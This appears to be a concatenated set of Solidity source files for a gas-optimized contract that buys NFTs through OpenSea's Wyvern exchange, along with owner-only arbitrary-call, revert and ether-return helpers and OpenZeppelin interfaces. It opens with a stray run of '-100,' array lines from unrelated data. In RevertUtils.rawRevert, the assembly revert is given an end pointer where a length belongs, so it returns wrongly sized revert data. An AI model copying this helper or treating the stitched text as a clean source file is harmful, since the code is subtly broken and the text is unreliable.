-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.4;
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { ArbitraryCall } from "../../../util/ArbitraryCall.sol";
import { IOpenSea } from "./IOpenSea.sol";
import { IMerkleValidator } from "./IMerkleValidator.sol";
import { OpenSeaBuy } from "./IOpenSea.sol";
import { Ownable } from "../../../util/Ownable.sol";
import { Recoverable } from "../../../util/Recoverable.sol";
import { RevertUtils } from "../../../util/RevertUtils.sol";
import { SendUtils } from "../../../util/SendUtils.sol";
enum OfferSchema {
Generic,
MatchERC721UsingCriteria,
MatchERC1155UsingCriteria,
ERC721TransferFrom
// NOTE: We currently don't support ERC1155SafeTransferFrom in the contract.
// It seems to have been phased out by OpenSea so it's not relevant to us,
// which is fine because we only use 2 bits to encode the schema anyway.
//ERC1155SafeTransferFrom
}
//---------------------------------------------------------------------------------//
// WARNING: Due to the extra power ArbitraryCall gives the owner of this contract, //
// the contract MUST NOT own any tokens or be trused by other contracts to //
// perform sensitive operations without additional authorization. //
//---------------------------------------------------------------------------------//
contract OptimizedOpenSeaMarket is Recoverable, ArbitraryCall {
address constant OPEN_SEA_WALLET = 0x5b3256965e7C3cF26E11FCAf296DfC8807C01073;
address constant MERKLE_VALIDATOR_ADDRESS = 0xBAf2127B49fC93CbcA6269FAdE0F7F31dF4c88a7;
IOpenSea immutable _openSea;
constructor(address owner, IOpenSea openSea) Ownable(owner) {
_openSea = openSea;
}
receive() external payable {}
function optimizedBuyAssetsForEth(bytes calldata optimizedBuys) public payable {
uint8 buyCount = uint8(optimizedBuys[0]);
bool revertIfTrxFails = (optimizedBuys[1] > 0);
OpenSeaBuy memory openSeaBuy;
initOpenSeaBuyTemplate(openSeaBuy);
uint offset = 2;
for (uint256 i = 0; i < buyCount;) {
uint decodedDataSize = decodeBuyIntoTemplate(optimizedBuys[offset:], openSeaBuy);
offset += decodedDataSize;
_buyAssetForEth(openSeaBuy, revertIfTrxFails);
unchecked { ++i; }
}
SendUtils._returnAllEth();
}
function _buyAssetForEth(OpenSeaBuy memory openSeaBuy, bool revertIfTrxFails) internal {
try _openSea.atomicMatch_{value: openSeaBuy.uints[4]}(
openSeaBuy.addrs,
openSeaBuy.uints,
openSeaBuy.feeMethodsSidesKindsHowToCalls,
openSeaBuy.calldataBuy,
openSeaBuy.calldataSell,
openSeaBuy.replacementPatternBuy,
openSeaBuy.replacementPatternSell,
openSeaBuy.staticExtradataBuy,
openSeaBuy.staticExtradataSell,
openSeaBuy.vs,
openSeaBuy.rssMetadata
) {
return;
} catch (bytes memory lowLevelData) {
if (revertIfTrxFails)
RevertUtils.rawRevert(lowLevelData);
}
}
function decodeCalldataERC721TF(
address maker,
uint tokenId,
address taker
)
public
pure
returns (bytes memory, bytes memory, bytes memory, bytes memory)
{
return (
// calldata_
bytes.concat(
IERC721.transferFrom.selector,
bytes32(uint(uint160(maker))),
bytes32(0),
bytes32(tokenId)
),
// replacementPattern
bytes.concat(
bytes4(0),
bytes32(0),
bytes32(type(uint).max),
bytes32(0)
),
// calldataFromBackend
bytes.concat(
IERC721.transferFrom.selector,
bytes32(uint(uint160(maker))),
bytes32(uint(uint160(taker))),
bytes32(tokenId)
),
// replacementPatternFromBackend
bytes.concat(
bytes4(0),
bytes32(0),
bytes32(0),
bytes32(0)
)
);
}
function decodeCalldataMERC721UC(
address maker,
uint tokenId,
address taker,
address tokenContract
)
public
pure
returns (bytes memory, bytes memory, bytes memory, bytes memory)
{
return (
// calldata_
bytes.concat(
IMerkleValidator.matchERC721UsingCriteria.selector,
bytes32(uint(uint160(maker))),
bytes32(0),
bytes32(uint(uint160(tokenContract))),
bytes32(tokenId),
bytes32(0), // root
bytes32(uint(6 * 32)), // proof.offset
bytes32(0) // proof.length
),
// replacementPattern
bytes.concat(
bytes4(0),
bytes32(0),
bytes32(type(uint).max),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0)
),
// calldataFromBackend
bytes.concat(
IMerkleValidator.matchERC721UsingCriteria.selector,
bytes32(uint(uint160(maker))),
bytes32(uint(uint160(taker))),
bytes32(uint(uint160(tokenContract))),
bytes32(tokenId),
bytes32(0), // root
bytes32(uint(6 * 32)), // proof.offset
bytes32(0) // proof.length
),
// replacementPatternFromBackend
bytes.concat(
bytes4(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0)
)
);
}
function decodeCalldataMERC1155UC(
address maker,
uint tokenId,
address taker,
address tokenContract,
uint tokenAmount
)
public
pure
returns (bytes memory, bytes memory, bytes memory, bytes memory)
{
return (
// calldata_
bytes.concat(
IMerkleValidator.matchERC1155UsingCriteria.selector,
bytes32(uint(uint160(maker))),
bytes32(0),
bytes32(uint(uint160(tokenContract))),
bytes32(tokenId),
bytes32(tokenAmount),
bytes32(0), // root
bytes32(uint(7 * 32)), // proof.offset
bytes32(0) // proof.length
),
// replacementPattern
bytes.concat(
bytes4(0),
bytes32(0),
bytes32(type(uint).max),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0)
),
// calldataFromBackend
bytes.concat(
IMerkleValidator.matchERC1155UsingCriteria.selector,
bytes32(uint(uint160(maker))),
bytes32(uint(uint160(taker))),
bytes32(uint(uint160(tokenContract))),
bytes32(tokenId),
bytes32(tokenAmount),
bytes32(0), // root
bytes32(uint(7 * 32)), // proof.offset
bytes32(0) // proof.length
),
// replacementPatternFromBackend
bytes.concat(
bytes4(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0),
bytes32(0)
)
);
}
function decodeBuy(bytes calldata optimizedBuy) public view returns (OpenSeaBuy memory openSeaBuy, uint offset) {
initOpenSeaBuyTemplate(openSeaBuy);
offset = decodeBuyIntoTemplate(optimizedBuy, openSeaBuy);
return (openSeaBuy, offset);
}
/// Initializes the part of OpenSeaBuy that stays the same for all offers.
function initOpenSeaBuyTemplate(OpenSeaBuy memory openSeaBuyToFill) internal view {
openSeaBuyToFill.uints[0] = 0; // buy.uints.makerRelayerFee
openSeaBuyToFill.uints[1] = 0; // buy.uints.takerRelayerFee
openSeaBuyToFill.uints[2] = 0; // buy.uints.makerProtocolFee
openSeaBuyToFill.uints[3] = 0; // buy.uints.takerProtocolFee
//openSeaBuyToFill.uints[4] // buy.uints.basePrice
openSeaBuyToFill.uints[5] = 0; // buy.uints.extra
openSeaBuyToFill.uints[6] = 0; // buy.uints.listingTime
openSeaBuyToFill.uints[7] = 0; // buy.uints.expirationTime
// NOTE: Salt only matters for published orders. It is used by Wyvern Exchange to ensure that
// two otherwise identical orders hash to different values because order hash is used as a unique
// identifier. The hash is what gets signed (see `Exchange.hashToSign()`) and is required for order
// cancellation to work properly.
// Since we're the taker side for an already published order, `ExchangeCore.atomicMatch()` will
// never even try to generate this hash (note that v, r and s are zero so there's no signature
// for it) and we can safely set salt to zero.
openSeaBuyToFill.uints[8] = 0; // buy.uints.salt
//openSeaBuyToFill.uints[9] // sell.uints.makerRelayerFee
openSeaBuyToFill.uints[10] = 0; // sell.uints.takerRelayerFee
openSeaBuyToFill.uints[11] = 0; // sell.uints.makerProtocolFee
openSeaBuyToFill.uints[12] = 0; // sell.uints.takerProtocolFee
//openSeaBuyToFill.uints[13] // sell.uints.basePrice
openSeaBuyToFill.uints[14] = 0; // sell.uints.extra
//openSeaBuyToFill.uints[15] // sell.uints.listingTime
//openSeaBuyToFill.uints[16] // sell.uints.expirationTime
//openSeaBuyToFill.uints[17] // sell.uints.salt
openSeaBuyToFill.vs[0] = 0; // buy.v
//openSeaBuyToFill.vs[1] // sell.v
openSeaBuyToFill.rssMetadata[0] = 0; // buy.r
openSeaBuyToFill.rssMetadata[1] = 0; // buy.s
//openSeaBuyToFill.rssMetadata[2] // sell.r
//openSeaBuyToFill.rssMetadata[3] // sell.s
openSeaBuyToFill.rssMetadata[4] = 0; // metadata
openSeaBuyToFill.addrs[0] = address(_openSea); // buy.addrs.exchange
openSeaBuyToFill.addrs[1] = address(this); // buy.addrs.maker
openSeaBuyToFill.addrs[2] = address(0); // buy.addrs.taker
openSeaBuyToFill.addrs[3] = address(0); // buy.addrs.feeRecipient
//openSeaBuyToFill.addrs[4] // buy.addrs.target
openSeaBuyToFill.addrs[5] = address(0); // buy.addrs.staticTarget
openSeaBuyToFill.addrs[6] = address(0); // buy.addrs.paymentToken
openSeaBuyToFill.addrs[7] = address(_openSea); // sell.addrs.exchange
//openSeaBuyToFill.addrs[8] // sell.addrs.maker
openSeaBuyToFill.addrs[9] = address(0); // sell.addrs.taker
openSeaBuyToFill.addrs[10] = OPEN_SEA_WALLET; // sell.addrs.feeRecipient
//openSeaBuyToFill.addrs[11] // sell.addrs.target
openSeaBuyToFill.addrs[12] = address(0); // sell.addrs.staticTarget
openSeaBuyToFill.addrs[13] = address(0); // sell.addrs.paymentToken
openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[0] = 1; // buy.kinds.feeMethod
openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[1] = 0; // buy.kinds.side
openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[2] = 0; // buy.kinds.saleKind
//openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[3] // buy.kinds.howToCall
openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[4] = 1; // sell.kinds.feeMethod
openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[5] = 1; // sell.kinds.side
openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[6] = 0; // sell.kinds.saleKind
//openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[7] // sell.kinds.howToCall
openSeaBuyToFill.staticExtradataBuy = ''; // buy.staticExtradata
openSeaBuyToFill.staticExtradataSell = ''; // sell.staticExtradata
}
/// Decodes an optimized buy encoded as bytes into the specified OpenSeaBuy struct.
///
/// @dev This function assumes that openSeaBuyToFill has already been initialized with initOpenSeaBuyTemplate()
/// so that only the fields that may very between orders need to be initialized.
function decodeBuyIntoTemplate(bytes calldata optimizedBuy, OpenSeaBuy memory openSeaBuyToFill) internal pure returns (uint) {
OfferSchema offerSchema = OfferSchema(uint8(optimizedBuy[0]) >> 6);
uint offset = 0;
{
uint makerRelayerFee;
uint basePrice;
uint listingTime;
uint expirationTime;
uint salt;
assembly {
makerRelayerFee := and(0x3fff, shr(240, calldataload(add(optimizedBuy.offset, offset))))
offset := add(offset, 2)
basePrice := calldataload(add(optimizedBuy.offset, offset))
offset := add(offset, 32)
listingTime := shr(224, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 4)
expirationTime := shr(224, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 4)
salt := calldataload(add(optimizedBuy.offset, offset))
offset := add(offset, 32)
}
// ASSUMPTION: Commented-out fields were already initialized by initOpenSeaBuyTemplate()
//openSeaBuyToFill.uints[0] = 0; // buy.uints.makerRelayerFee
//openSeaBuyToFill.uints[1] = 0; // buy.uints.takerRelayerFee
//openSeaBuyToFill.uints[2] = 0; // buy.uints.makerProtocolFee
//openSeaBuyToFill.uints[3] = 0; // buy.uints.takerProtocolFee
openSeaBuyToFill.uints[4] = basePrice; // buy.uints.basePrice
//openSeaBuyToFill.uints[5] = 0; // buy.uints.extra
//openSeaBuyToFill.uints[6] = 0; // buy.uints.listingTime
//openSeaBuyToFill.uints[7] = 0; // buy.uints.expirationTime
//openSeaBuyToFill.uints[8] = 0; // buy.uints.salt
openSeaBuyToFill.uints[9] = makerRelayerFee; // sell.uints.makerRelayerFee
//openSeaBuyToFill.uints[10] = 0; // sell.uints.takerRelayerFee
//openSeaBuyToFill.uints[11] = 0; // sell.uints.makerProtocolFee
//openSeaBuyToFill.uints[12] = 0; // sell.uints.takerProtocolFee
openSeaBuyToFill.uints[13] = basePrice; // sell.uints.basePrice
//openSeaBuyToFill.uints[14] = 0; // sell.uints.extra
openSeaBuyToFill.uints[15] = listingTime; // sell.uints.listingTime
openSeaBuyToFill.uints[16] = expirationTime; // sell.uints.expirationTime
openSeaBuyToFill.uints[17] = salt; // sell.uints.salt
}
{
bytes32 r; // sell.r
bytes32 s; // sell.s
uint8 v; // sell.v
assembly {
r := calldataload(add(optimizedBuy.offset, offset))
offset := add(offset, 32)
let vs := calldataload(add(optimizedBuy.offset, offset))
offset := add(offset, 32)
v := add(shr(255, vs), 27)
s := and(vs, not(shl(255, 1)))
}
// ASSUMPTION: Commented-out fields were already initialized by initOpenSeaBuyTemplate()
//openSeaBuyToFill.vs[0] = 0; // buy.v
openSeaBuyToFill.vs[1] = v; // sell.v
//openSeaBuyToFill.rssMetadata[0] = 0; // buy.r
//openSeaBuyToFill.rssMetadata[1] = 0; // buy.s
openSeaBuyToFill.rssMetadata[2] = r; // sell.r
openSeaBuyToFill.rssMetadata[3] = s; // sell.s
//openSeaBuyToFill.rssMetadata[4] = 0; // metadata
}
address maker;
{
assembly {
maker := shr(96, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 20)
}
address target;
uint8 howToCall;
if (offerSchema == OfferSchema.MatchERC721UsingCriteria || offerSchema == OfferSchema.MatchERC1155UsingCriteria) {
target = MERKLE_VALIDATOR_ADDRESS;
howToCall = 1;
}
else
assembly {
target := shr(96, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 20)
howToCall := shr(248, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 1)
}
// ASSUMPTION: Commented-out fields were already initialized by initOpenSeaBuyTemplate()
//openSeaBuyToFill.addrs[0] = address(_openSea); // buy.addrs.exchange
//openSeaBuyToFill.addrs[1] = address(this); // buy.addrs.maker
//openSeaBuyToFill.addrs[2] = address(0); // buy.addrs.taker
//openSeaBuyToFill.addrs[3] = address(0); // buy.addrs.feeRecipient
openSeaBuyToFill.addrs[4] = target; // buy.addrs.target
//openSeaBuyToFill.addrs[5] = address(0); // buy.addrs.staticTarget
//openSeaBuyToFill.addrs[6] = address(0); // buy.addrs.paymentToken
//openSeaBuyToFill.addrs[7] = address(_openSea); // sell.addrs.exchange
openSeaBuyToFill.addrs[8] = maker; // sell.addrs.maker
//openSeaBuyToFill.addrs[9] = address(0); // sell.addrs.taker
//openSeaBuyToFill.addrs[10] = OPEN_SEA_WALLET; // sell.addrs.feeRecipient
openSeaBuyToFill.addrs[11] = target; // sell.addrs.target
//openSeaBuyToFill.addrs[12] = address(0); // sell.addrs.staticTarget
//openSeaBuyToFill.addrs[13] = address(0); // sell.addrs.paymentToken
//openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[0] = 1; // buy.kinds.feeMethod
//openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[1] = 0; // buy.kinds.side
//openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[2] = 0; // buy.kinds.saleKind
openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[3] = howToCall; // buy.kinds.howToCall
//openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[4] = 1; // sell.kinds.feeMethod
//openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[5] = 1; // sell.kinds.side
//openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[6] = 0; // sell.kinds.saleKind
openSeaBuyToFill.feeMethodsSidesKindsHowToCalls[7] = howToCall; // sell.kinds.howToCall
}
if (offerSchema == OfferSchema.Generic) {
{
uint dataSize;
assembly {
dataSize := shr(240, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 2)
}
bytes memory dataPtr;
if (openSeaBuyToFill.calldataSell.length < dataSize)
dataPtr = new bytes(dataSize);
else {
dataPtr = openSeaBuyToFill.calldataSell;
assembly {
mstore(dataPtr, dataSize)
}
}
assembly {
calldatacopy(add(dataPtr, 32), add(optimizedBuy.offset, offset), dataSize)
offset := add(offset, dataSize)
}
openSeaBuyToFill.calldataSell = dataPtr; // sell.calldata
}
{
uint dataSize;
assembly {
dataSize := shr(240, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 2)
}
bytes memory dataPtr;
if (openSeaBuyToFill.replacementPatternSell.length < dataSize)
dataPtr = new bytes(dataSize);
else {
dataPtr = openSeaBuyToFill.replacementPatternSell;
assembly {
mstore(dataPtr, dataSize)
}
}
assembly {
calldatacopy(add(dataPtr, 32), add(optimizedBuy.offset, offset), dataSize)
offset := add(offset, dataSize)
}
openSeaBuyToFill.replacementPatternSell = dataPtr; // sell.replacementPattern
}
{
uint dataSize;
assembly {
dataSize := shr(240, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 2)
}
bytes memory dataPtr;
if (openSeaBuyToFill.calldataBuy.length < dataSize)
dataPtr = new bytes(dataSize);
else {
dataPtr = openSeaBuyToFill.calldataBuy;
assembly {
mstore(dataPtr, dataSize)
}
}
assembly {
calldatacopy(add(dataPtr, 32), add(optimizedBuy.offset, offset), dataSize)
offset := add(offset, dataSize)
}
openSeaBuyToFill.calldataBuy = dataPtr; // buy.calldata
}
{
uint dataSize;
assembly {
dataSize := shr(240, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 2)
}
bytes memory dataPtr;
if (openSeaBuyToFill.replacementPatternBuy.length < dataSize)
dataPtr = new bytes(dataSize);
else {
dataPtr = openSeaBuyToFill.replacementPatternBuy;
assembly {
mstore(dataPtr, dataSize)
}
}
assembly {
calldatacopy(add(dataPtr, 32), add(optimizedBuy.offset, offset), dataSize)
offset := add(offset, dataSize)
}
openSeaBuyToFill.replacementPatternBuy = dataPtr; // buy.replacementPattern
}
}
else {
uint tokenId;
address taker;
assembly {
tokenId := calldataload(add(optimizedBuy.offset, offset))
offset := add(offset, 32)
taker := shr(96, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 20)
}
if (offerSchema == OfferSchema.ERC721TransferFrom)
(
openSeaBuyToFill.calldataSell, // sell.calldata
openSeaBuyToFill.replacementPatternSell, // sell.replacementPattern
openSeaBuyToFill.calldataBuy, // buy.calldata
openSeaBuyToFill.replacementPatternBuy // buy.replacementPattern
) = decodeCalldataERC721TF(maker, tokenId, taker);
else {
address tokenContract;
assembly {
tokenContract := shr(96, calldataload(add(optimizedBuy.offset, offset)))
offset := add(offset, 20)
}
if (offerSchema == OfferSchema.MatchERC721UsingCriteria)
(
openSeaBuyToFill.calldataSell, // sell.calldata
openSeaBuyToFill.replacementPatternSell, // sell.replacementPattern
openSeaBuyToFill.calldataBuy, // buy.calldata
openSeaBuyToFill.replacementPatternBuy // buy.replacementPattern
) = decodeCalldataMERC721UC(maker, tokenId, taker, tokenContract);
else {
uint tokenAmount;
assembly {
tokenAmount := calldataload(add(optimizedBuy.offset, offset))
offset := add(offset, 32)
}
assert(offerSchema == OfferSchema.MatchERC1155UsingCriteria);
(
openSeaBuyToFill.calldataSell, // sell.calldata
openSeaBuyToFill.replacementPatternSell, // sell.replacementPattern
openSeaBuyToFill.calldataBuy, // buy.calldata
openSeaBuyToFill.replacementPatternBuy // buy.replacementPattern
) = decodeCalldataMERC1155UC(maker, tokenId, taker, tokenContract, tokenAmount);
}
}
}
// ASSUMPTION: These fields were already initialized by initOpenSeaBuyTemplate()
//openSeaBuyToFill.staticExtradataBuy = ''; // buy.staticExtradata
//openSeaBuyToFill.staticExtradataSell = ''; // sell.staticExtradata
return offset;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.4;
import { Ownable } from "./Ownable.sol";
import { RevertUtils } from "./RevertUtils.sol";
import { SendUtils } from "./SendUtils.sol";
abstract contract ArbitraryCall is Ownable {
event ArbitraryCallReturn(bytes returndata);
/// Performs an external call to the specified address with the specified arguments.
/// This function is meant to allow the owner of the contract to reap benefits of being
/// a frequent customer of OpenSea. For example, to collect an airdrop.
///
/// @dev This function would be a big security liability in a contract holding significant amounts
/// of funds or being whilelisted to perform privileged actions in other contracts. Currently
/// this is not the case and it's very important to ensure that it stays that way.
/// This function gives the owner the ability to freely impersonate the contract. If the owner contract
/// gets compromised, the attacker will have the same power.
function arbitraryCall(address targetContract, bytes calldata encodedArguments) public payable onlyOwner returns (bytes memory) {
// NOTE: If the contract has no receive() function and the target contract tries to send ether
// back to msg.sender, the transaction will fail.
(bool success, bytes memory returndata) = targetContract.call{value: msg.value}(encodedArguments);
if (!success)
RevertUtils.forwardRevert();
SendUtils._returnAllEth();
emit ArbitraryCallReturn(returndata);
return returndata;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.4;
struct OpenSeaBuy {
address[14] addrs;
uint[18] uints;
uint8[8] feeMethodsSidesKindsHowToCalls;
bytes calldataBuy;
bytes calldataSell;
bytes replacementPatternBuy;
bytes replacementPatternSell;
bytes staticExtradataBuy;
bytes staticExtradataSell;
uint8[2] vs;
bytes32[5] rssMetadata;
}
interface IOpenSea {
/**
* @dev Call atomicMatch - Solidity ABI encoding limitation workaround, hopefully temporary.
*/
function atomicMatch_(
address[14] memory addrs,
uint[18] memory uints,
uint8[8] memory feeMethodsSidesKindsHowToCalls,
bytes memory calldataBuy,
bytes memory calldataSell,
bytes memory replacementPatternBuy,
bytes memory replacementPatternSell,
bytes memory staticExtradataBuy,
bytes memory staticExtradataSell,
uint8[2] memory vs,
bytes32[5] memory rssMetadata
) external payable;
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.4;
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { IERC1155 } from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
interface IMerkleValidator {
// Function declarations based on https://etherscan.io/address/0xbaf2127b49fc93cbca6269fade0f7f31df4c88a7#code
/// @dev Match an ERC721 order, ensuring that the supplied proof demonstrates inclusion of the tokenId in the associated merkle root.
/// @param from The account to transfer the ERC721 token from — this token must first be approved on the seller's AuthenticatedProxy contract.
/// @param to The account to transfer the ERC721 token to.
/// @param token The ERC721 token to transfer.
/// @param tokenId The ERC721 tokenId to transfer.
/// @param root A merkle root derived from each valid tokenId — set to 0 to indicate a collection-level or tokenId-specific order.
/// @param proof A proof that the supplied tokenId is contained within the associated merkle root. Must be length 0 if root is not set.
/// @return A boolean indicating a successful match and transfer.
function matchERC721UsingCriteria(
address from,
address to,
IERC721 token,
uint256 tokenId,
bytes32 root,
bytes32[] calldata proof
) external returns (bool);
/// @dev Match an ERC1155 order, ensuring that the supplied proof demonstrates inclusion of the tokenId in the associated merkle root.
/// @param from The account to transfer the ERC1155 token from — this token must first be approved on the seller's AuthenticatedProxy contract.
/// @param to The account to transfer the ERC1155 token to.
/// @param token The ERC1155 token to transfer.
/// @param tokenId The ERC1155 tokenId to transfer.
/// @param amount The amount of ERC1155 tokens with the given tokenId to transfer.
/// @param root A merkle root derived from each valid tokenId — set to 0 to indicate a collection-level or tokenId-specific order.
/// @param proof A proof that the supplied tokenId is contained within the associated merkle root. Must be length 0 if root is not set.
/// @return A boolean indicating a successful match and transfer.
function matchERC1155UsingCriteria(
address from,
address to,
IERC1155 token,
uint256 tokenId,
uint256 amount,
bytes32 root,
bytes32[] calldata proof
) external returns (bool);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.4;
abstract contract Ownable {
error AccessDenied();
address immutable public owner;
constructor(address newOwner) {
owner = newOwner;
}
modifier onlyOwner() {
if (address(msg.sender) != owner)
revert AccessDenied();
_;
}
}
// SPDX-License-Identifier: BUSL-1.1
import { Ownable } from "./Ownable.sol";
import { SendUtils } from "./SendUtils.sol";
pragma solidity ^0.8.4;
abstract contract Recoverable is Ownable {
function recoverEther() external onlyOwner {
SendUtils._returnAllEth();
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.4;
library RevertUtils {
/// Reverts, forwarding the return data from the last external call.
/// If there was no preceding external call, reverts with empty returndata.
/// It's up to the caller to ensure that the preceding call actually reverted - if it did not,
/// the return data will come from a successfull call.
///
/// @dev This function writes to arbitrary memory locations, violating any assumptions the compiler
/// might have about memory use. This may prevent it from doing some kinds of memory optimizations
/// planned in future versions or make them unsafe. It's recommended to obtain the revert data using
/// the try/catch statement and rethrow it with `rawRevert()` instead.
function forwardRevert() internal pure {
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
/// Reverts, directly setting the return data from the provided `bytes` object.
/// Unlike the high-level `revert` statement, this allows forwarding the revert data obtained from
/// a failed external call (high-level `revert` would wrap it in an `Error`).
///
/// @dev This function is recommended over `forwardRevert()` because it does not interfere with
/// the memory allocation mechanism used by the compiler.
function rawRevert(bytes memory revertData) internal pure {
assembly {
// NOTE: `bytes` arrays in memory start with a 32-byte size slot, which is followed by data.
let revertDataStart := add(revertData, 32)
let revertDataEnd := add(revertDataStart, mload(revertData))
revert(revertDataStart, revertDataEnd)
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.4;
library SendUtils {
error EtherTransferFailed();
function _sendEthViaCall(address payable receiver, uint amount) internal {
if (amount > 0) {
(bool success, ) = receiver.call{value: amount}("");
if (!success)
revert EtherTransferFailed();
}
}
function _returnAllEth() internal {
// NOTE: This works on the assumption that the whole balance of the contract consists of
// the ether sent by the caller.
// (1) This is never 100% true because anyone can send ether to it with selfdestruct or by using
// its address as the coinbase when mining a block. Anyone doing that is doing it to their own
// disavantage though so we're going to disregard these possibilities.
// (2) For this to be safe we must ensure that no ether is stored in the contract long-term.
// It's best if it has no receive function and all payable functions should ensure that they
// use the whole balance or send back the remainder.
_sendEthViaCall(payable(msg.sender), address(this).balance);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
